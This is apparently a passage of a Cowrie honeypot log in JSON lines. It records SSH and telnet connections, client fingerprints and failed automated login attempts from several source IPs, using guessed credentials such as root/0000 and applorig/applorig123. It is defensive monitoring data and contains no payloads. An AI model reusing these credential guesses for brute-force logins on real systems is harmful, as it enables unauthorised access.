{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:19:46.967692Z","src_ip":"122.168.114.167","session":"9479b172897d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00113034248352,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:19:54.360488Z","src_ip":"179.99.174.129","session":"f6141482ad50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00307703018188,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:02.116131Z","src_ip":"179.99.174.129","session":"8b8af1ad05f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59952,"dst_ip":"159.203.135.109","dst_port":22,"session":"74947d9d34af","protocol":"ssh","message":"New connection: 159.203.92.129:59952 (159.203.135.109:22) [session: 74947d9d34af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:03.315382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:03.591982Z","src_ip":"159.203.92.129","session":"74947d9d34af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:03.597389Z","src_ip":"159.203.92.129","session":"74947d9d34af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applorig","password":"applorig","message":"login attempt [applorig/applorig] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:04.583647Z","src_ip":"159.203.92.129","session":"74947d9d34af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:05.730566Z","src_ip":"159.203.92.129","session":"74947d9d34af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00183200836182,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:11.210566Z","src_ip":"179.99.174.129","session":"72e0195685f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":35960,"dst_ip":"159.203.135.109","dst_port":22,"session":"3319eff61958","protocol":"ssh","message":"New connection: 122.168.114.167:35960 (159.203.135.109:22) [session: 3319eff61958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:13.126947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:15.159211Z","src_ip":"122.168.114.167","session":"3319eff61958","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:15.167681Z","src_ip":"122.168.114.167","session":"3319eff61958","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:21.080231Z","src_ip":"122.168.114.167","session":"3319eff61958","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:23.619924Z","src_ip":"122.168.114.167","session":"3319eff61958","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46348,"dst_ip":"159.203.135.109","dst_port":22,"session":"0db295218eb1","protocol":"ssh","message":"New connection: 159.203.92.129:46348 (159.203.135.109:22) [session: 0db295218eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:48.854632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:48.859034Z","src_ip":"159.203.92.129","session":"0db295218eb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:48.862818Z","src_ip":"159.203.92.129","session":"0db295218eb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applorig","password":"applorig123","message":"login attempt [applorig/applorig123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:48.871105Z","src_ip":"159.203.92.129","session":"0db295218eb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:49.876615Z","src_ip":"159.203.92.129","session":"0db295218eb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":38362,"dst_ip":"159.203.135.109","dst_port":22,"session":"30eb0141eb7c","protocol":"ssh","message":"New connection: 122.168.114.167:38362 (159.203.135.109:22) [session: 30eb0141eb7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:52.724879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:54.079947Z","src_ip":"122.168.114.167","session":"30eb0141eb7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:20:54.083241Z","src_ip":"122.168.114.167","session":"30eb0141eb7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:21:02.845508Z","src_ip":"122.168.114.167","session":"30eb0141eb7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.6","message":"Connection lost after 13.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:21:06.297003Z","src_ip":"122.168.114.167","session":"30eb0141eb7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":40766,"dst_ip":"159.203.135.109","dst_port":22,"session":"02f830b8154f","protocol":"ssh","message":"New connection: 122.168.114.167:40766 (159.203.135.109:22) [session: 02f830b8154f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:21:31.909034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:21:33.520646Z","src_ip":"122.168.114.167","session":"02f830b8154f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:21:33.524217Z","src_ip":"122.168.114.167","session":"02f830b8154f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34820,"dst_ip":"159.203.135.109","dst_port":22,"session":"80bf589eb810","protocol":"ssh","message":"New connection: 159.203.92.129:34820 (159.203.135.109:22) [session: 80bf589eb810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:21:33.960792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:21:33.965608Z","src_ip":"159.203.92.129","session":"80bf589eb810","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:21:33.969963Z","src_ip":"159.203.92.129","session":"80bf589eb810","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applorig","password":"password","message":"login attempt [applorig/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:21:33.979887Z","src_ip":"159.203.92.129","session":"80bf589eb810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:21:34.986151Z","src_ip":"159.203.92.129","session":"80bf589eb810","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:21:42.771352Z","src_ip":"122.168.114.167","session":"02f830b8154f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:21:46.824975Z","src_ip":"122.168.114.167","session":"02f830b8154f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":54592,"dst_ip":"159.203.135.109","dst_port":23,"session":"a167fed3556c","protocol":"telnet","message":"New connection: 185.26.126.47:54592 (159.203.135.109:23) [session: a167fed3556c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:05.688666Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":43180,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3b863562bf2","protocol":"ssh","message":"New connection: 122.168.114.167:43180 (159.203.135.109:22) [session: d3b863562bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:09.512659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:11.821009Z","src_ip":"122.168.114.167","session":"d3b863562bf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:11.824629Z","src_ip":"122.168.114.167","session":"d3b863562bf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":48962,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9789c261137","protocol":"ssh","message":"New connection: 194.59.206.2:48962 (159.203.135.109:22) [session: d9789c261137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:12.840637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:12.844812Z","src_ip":"194.59.206.2","session":"d9789c261137","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 